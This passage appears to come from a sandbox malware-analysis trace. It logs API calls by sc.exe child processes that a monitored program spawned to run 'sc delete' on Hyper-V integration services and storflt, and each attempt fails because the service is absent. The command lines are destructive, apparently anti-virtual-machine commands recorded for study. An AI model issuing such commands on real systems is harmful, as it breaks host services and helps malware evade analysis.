_String2="qdescription") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.005] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.005] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.005] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.006] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2d43a0 [0067.011] OpenServiceW (hSCManager=0x2d43a0, lpServiceName="vmickvpexchange", dwDesiredAccess=0x10000) returned 0x0 [0067.011] GetLastError () returned 0x424 [0067.012] _itow (in: _Dest=0x424, _Radix=1113176 | out: _Dest=0x424) returned="1060" [0067.012] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff74b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.014] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10fc10, nSize=0x2, Arguments=0x10fc40 | out: lpBuffer="趀-") returned 0x62 [0067.015] GetFileType (hFile=0x120) returned 0x3 [0067.015] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2d8e60 [0067.015] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2d8e60, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n-", lpUsedDefaultChar=0x0) returned 98 [0067.015] WriteFile (in: hFile=0x120, lpBuffer=0x2d8e60*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10fbb8, lpOverlapped=0x0 | out: lpBuffer=0x2d8e60*, lpNumberOfBytesWritten=0x10fbb8*=0x62, lpOverlapped=0x0) returned 1 [0067.015] LocalFree (hMem=0x2d8e60) returned 0x0 [0067.015] LocalFree (hMem=0x2d8d80) returned 0x0 [0067.015] LocalFree (hMem=0x0) returned 0x0 [0067.015] CloseServiceHandle (hSCObject=0x2d43a0) returned 1 [0067.061] exit (_Code=1060) Thread: id = 6 os_tid = 0x410 Process: id = "5" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x407d1000" os_pid = "0x414" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmicguestinterface" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0x4e4 [0067.260] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afc90 | out: lpSystemTimeAsFileTime=0x1afc90*(dwLowDateTime=0x40aabff0, dwHighDateTime=0x1d62774)) [0067.260] GetCurrentProcessId () returned 0x414 [0067.260] GetCurrentThreadId () returned 0x4e4 [0067.260] GetTickCount () returned 0x1148797 [0067.260] QueryPerformanceCounter (in: lpPerformanceCount=0x1afc98 | out: lpPerformanceCount=0x1afc98*=18693601375) returned 1 [0067.262] GetModuleHandleW (lpModuleName=0x0) returned 0xff370000 [0067.262] __set_app_type (_Type=0x1) [0067.262] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff377228) returned 0x0 [0067.262] __wgetmainargs (in: _Argc=0xff37b604, _Argv=0xff37b610, _Env=0xff37b608, _DoWildCard=0, _StartInfo=0xff37b050 | out: _Argc=0xff37b604, _Argv=0xff37b610, _Env=0xff37b608) returned 0 [0067.310] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.312] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.312] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.313] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.313] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.313] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.313] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.313] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.313] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.313] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.313] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.313] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.313] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.313] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.313] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.313] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.313] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.313] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.313] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.313] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.313] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.313] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.314] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2143e0 [0067.318] OpenServiceW (hSCManager=0x2143e0, lpServiceName="vmicguestinterface", dwDesiredAccess=0x10000) returned 0x0 [0067.318] GetLastError () returned 0x424 [0067.318] _itow (in: _Dest=0x424, _Radix=1768184 | out: _Dest=0x424) returned="1060" [0067.318] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff37b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.320] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1afab0, nSize=0x2, Arguments=0x1afae0 | out: lpBuffer="跀!") returned 0x62 [0067.321] GetFileType (hFile=0x120) returned 0x3 [0067.321] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x218ea0 [0067.321] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x218ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n!", lpUsedDefaultChar=0x0) returned 98 [0067.321] WriteFile (in: hFile=0x120, lpBuffer=0x218ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1afa58, lpOverlapped=0x0 | out: lpBuffer=0x218ea0*, lpNumberOfBytesWritten=0x1afa58*=0x62, lpOverlapped=0x0) returned 1 [0067.321] LocalFree (hMem=0x218ea0) returned 0x0 [0067.321] LocalFree (hMem=0x218dc0) returned 0x0 [0067.321] LocalFree (hMem=0x0) returned 0x0 [0067.321] CloseServiceHandle (hSCObject=0x2143e0) returned 1 [0067.375] exit (_Code=1060) Thread: id = 8 os_tid = 0x704 Process: id = "6" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f6d6000" os_pid = "0x620" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmicshutdown" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x648 [0067.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20f8b0 | out: lpSystemTimeAsFileTime=0x20f8b0*(dwLowDateTime=0x40da5b70, dwHighDateTime=0x1d62774)) [0067.605] GetCurrentProcessId () returned 0x620 [0067.605] GetCurrentThreadId () returned 0x648 [0067.605] GetTickCount () returned 0x11488cf [0067.605] QueryPerformanceCounter (in: lpPerformanceCount=0x20f8b8 | out: lpPerformanceCount=0x20f8b8*=18728108076) returned 1 [0067.607] GetModuleHandleW (lpModuleName=0x0) returned 0xff170000 [0067.607] __set_app_type (_Type=0x1) [0067.607] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff177228) returned 0x0 [0067.607] __wgetmainargs (in: _Argc=0xff17b604, _Argv=0xff17b610, _Env=0xff17b608, _DoWildCard=0, _StartInfo=0xff17b050 | out: _Argc=0xff17b604, _Argv=0xff17b610, _Env=0xff17b608) returned 0 [0067.608] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.610] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.610] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.610] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.610] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.610] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.610] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.610] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.610] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.610] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.611] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.611] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.611] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.611] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.611] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.611] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.611] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.611] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.611] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.611] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.611] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.611] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.611] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.611] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.611] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xa4370 [0067.615] OpenServiceW (hSCManager=0xa4370, lpServiceName="vmicshutdown", dwDesiredAccess=0x10000) returned 0x0 [0067.616] GetLastError () returned 0x424 [0067.616] _itow (in: _Dest=0x424, _Radix=2160408 | out: _Dest=0x424) returned="1060" [0067.616] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff17b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.618] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x20f6d0, nSize=0x2, Arguments=0x20f700 | out: lpBuffer="跀\n") returned 0x62 [0067.618] GetFileType (hFile=0x120) returned 0x3 [0067.618] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xa8ea0 [0067.618] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xa8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\n", lpUsedDefaultChar=0x0) returned 98 [0067.618] WriteFile (in: hFile=0x120, lpBuffer=0xa8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f678, lpOverlapped=0x0 | out: lpBuffer=0xa8ea0*, lpNumberOfBytesWritten=0x20f678*=0x62, lpOverlapped=0x0) returned 1 [0067.619] LocalFree (hMem=0xa8ea0) returned 0x0 [0067.619] LocalFree (hMem=0xa8dc0) returned 0x0 [0067.619] LocalFree (hMem=0x0) returned 0x0 [0067.619] CloseServiceHandle (hSCObject=0xa4370) returned 1 [0067.685] exit (_Code=1060) Thread: id = 10 os_tid = 0x57c Process: id = "7" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x402db000" os_pid = "0x208" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmicheartbeat" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 11 os_tid = 0x488 [0067.858] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f8d0 | out: lpSystemTimeAsFileTime=0x18f8d0*(dwLowDateTime=0x4102d2d0, dwHighDateTime=0x1d62774)) [0067.858] GetCurrentProcessId () returned 0x208 [0067.858] GetCurrentThreadId () returned 0x488 [0067.858] GetTickCount () returned 0x11489d9 [0067.858] QueryPerformanceCounter (in: lpPerformanceCount=0x18f8d8 | out: lpPerformanceCount=0x18f8d8*=18753448604) returned 1 [0067.860] GetModuleHandleW (lpModuleName=0x0) returned 0xffd60000 [0067.860] __set_app_type (_Type=0x1) [0067.860] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd67228) returned 0x0 [0067.861] __wgetmainargs (in: _Argc=0xffd6b604, _Argv=0xffd6b610, _Env=0xffd6b608, _DoWildCard=0, _StartInfo=0xffd6b050 | out: _Argc=0xffd6b604, _Argv=0xffd6b610, _Env=0xffd6b608) returned 0 [0067.861] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.904] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.904] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0067.904] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0067.904] _wcsicmp (_String1="delete", _String2="query") returned -13 [0067.904] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0067.904] _wcsicmp (_String1="delete", _String2="start") returned -15 [0067.904] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0067.904] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0067.904] _wcsicmp (_String1="delete", _String2="control") returned 1 [0067.904] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0067.904] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0067.904] _wcsicmp (_String1="delete", _String2="config") returned 1 [0067.904] _wcsicmp (_String1="delete", _String2="description") returned -7 [0067.904] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0067.904] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0067.904] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0067.904] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0067.904] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0067.904] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0067.904] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0067.904] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0067.904] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0067.904] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0067.904] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0067.905] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0067.905] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0067.905] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0067.905] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0067.905] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0067.905] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0067.905] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0067.905] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1c43d0 [0067.909] OpenServiceW (hSCManager=0x1c43d0, lpServiceName="vmicheartbeat", dwDesiredAccess=0x10000) returned 0x0 [0067.910] GetLastError () returned 0x424 [0067.910] _itow (in: _Dest=0x424, _Radix=1636152 | out: _Dest=0x424) returned="1060" [0067.910] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd6b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0067.912] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f6f0, nSize=0x2, Arguments=0x18f720 | out: lpBuffer="趰\x1c") returned 0x62 [0067.912] GetFileType (hFile=0x120) returned 0x3 [0067.912] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1c8e90 [0067.913] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1c8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1c", lpUsedDefaultChar=0x0) returned 98 [0067.913] WriteFile (in: hFile=0x120, lpBuffer=0x1c8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f698, lpOverlapped=0x0 | out: lpBuffer=0x1c8e90*, lpNumberOfBytesWritten=0x18f698*=0x62, lpOverlapped=0x0) returned 1 [0067.913] LocalFree (hMem=0x1c8e90) returned 0x0 [0067.913] LocalFree (hMem=0x1c8db0) returned 0x0 [0067.913] LocalFree (hMem=0x0) returned 0x0 [0067.913] CloseServiceHandle (hSCObject=0x1c43d0) returned 1 [0067.959] exit (_Code=1060) Thread: id = 12 os_tid = 0x640 Process: id = "8" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f7e0000" os_pid = "0x518" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete vmicrdv" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 13 os_tid = 0x734 [0068.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fc10 | out: lpSystemTimeAsFileTime=0x24fc10*(dwLowDateTime=0x41242610, dwHighDateTime=0x1d62774)) [0068.108] GetCurrentProcessId () returned 0x518 [0068.108] GetCurrentThreadId () returned 0x734 [0068.108] GetTickCount () returned 0x1148ab3 [0068.108] QueryPerformanceCounter (in: lpPerformanceCount=0x24fc18 | out: lpPerformanceCount=0x24fc18*=18778407665) returned 1 [0068.109] GetModuleHandleW (lpModuleName=0x0) returned 0xffcd0000 [0068.109] __set_app_type (_Type=0x1) [0068.109] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffcd7228) returned 0x0 [0068.109] __wgetmainargs (in: _Argc=0xffcdb604, _Argv=0xffcdb610, _Env=0xffcdb608, _DoWildCard=0, _StartInfo=0xffcdb050 | out: _Argc=0xffcdb604, _Argv=0xffcdb610, _Env=0xffcdb608) returned 0 [0068.110] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.153] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0068.153] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0068.153] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0068.153] _wcsicmp (_String1="delete", _String2="query") returned -13 [0068.153] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0068.153] _wcsicmp (_String1="delete", _String2="start") returned -15 [0068.154] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0068.154] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0068.154] _wcsicmp (_String1="delete", _String2="control") returned 1 [0068.154] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0068.154] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0068.154] _wcsicmp (_String1="delete", _String2="config") returned 1 [0068.154] _wcsicmp (_String1="delete", _String2="description") returned -7 [0068.154] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0068.154] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0068.154] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0068.154] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0068.154] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0068.154] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0068.154] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0068.154] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0068.154] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0068.154] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0068.154] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x374370 [0068.159] OpenServiceW (hSCManager=0x374370, lpServiceName="vmicrdv", dwDesiredAccess=0x10000) returned 0x0 [0068.159] GetLastError () returned 0x424 [0068.159] _itow (in: _Dest=0x424, _Radix=2423416 | out: _Dest=0x424) returned="1060" [0068.159] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffcdb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0068.161] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fa30, nSize=0x2, Arguments=0x24fa60 | out: lpBuffer="跀7") returned 0x62 [0068.162] GetFileType (hFile=0x120) returned 0x3 [0068.162] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x378ea0 [0068.162] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x378ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n7", lpUsedDefaultChar=0x0) returned 98 [0068.162] WriteFile (in: hFile=0x120, lpBuffer=0x378ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x24f9d8, lpOverlapped=0x0 | out: lpBuffer=0x378ea0*, lpNumberOfBytesWritten=0x24f9d8*=0x62, lpOverlapped=0x0) returned 1 [0068.162] LocalFree (hMem=0x378ea0) returned 0x0 [0068.162] LocalFree (hMem=0x378dc0) returned 0x0 [0068.162] LocalFree (hMem=0x0) returned 0x0 [0068.162] CloseServiceHandle (hSCObject=0x374370) returned 1 [0068.201] exit (_Code=1060) Thread: id = 14 os_tid = 0x70c Process: id = "9" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3eee5000" os_pid = "0x644" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete storflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0x804 [0068.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f8b0 | out: lpSystemTimeAsFileTime=0x24f8b0*(dwLowDateTime=0x4147dab0, dwHighDateTime=0x1d62774)) [0068.368] GetCurrentProcessId () returned 0x644 [0068.368] GetCurrentThreadId () returned 0x804 [0068.368] GetTickCount () returned 0x1148b9d [0068.368] QueryPerformanceCounter (in: lpPerformanceCount=0x24f8b8 | out: lpPerformanceCount=0x24f8b8*=18804402372) returned 1 [0068.369] GetModuleHandleW (lpModuleName=0x0) returned 0xffc10000 [0068.370] __set_app_type (_Type=0x1) [0068.370] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc17228) returned 0x0 [0068.370] __wgetmainargs (in: _Argc=0xffc1b604, _Argv=0xffc1b610, _Env=0xffc1b608, _DoWildCard=0, 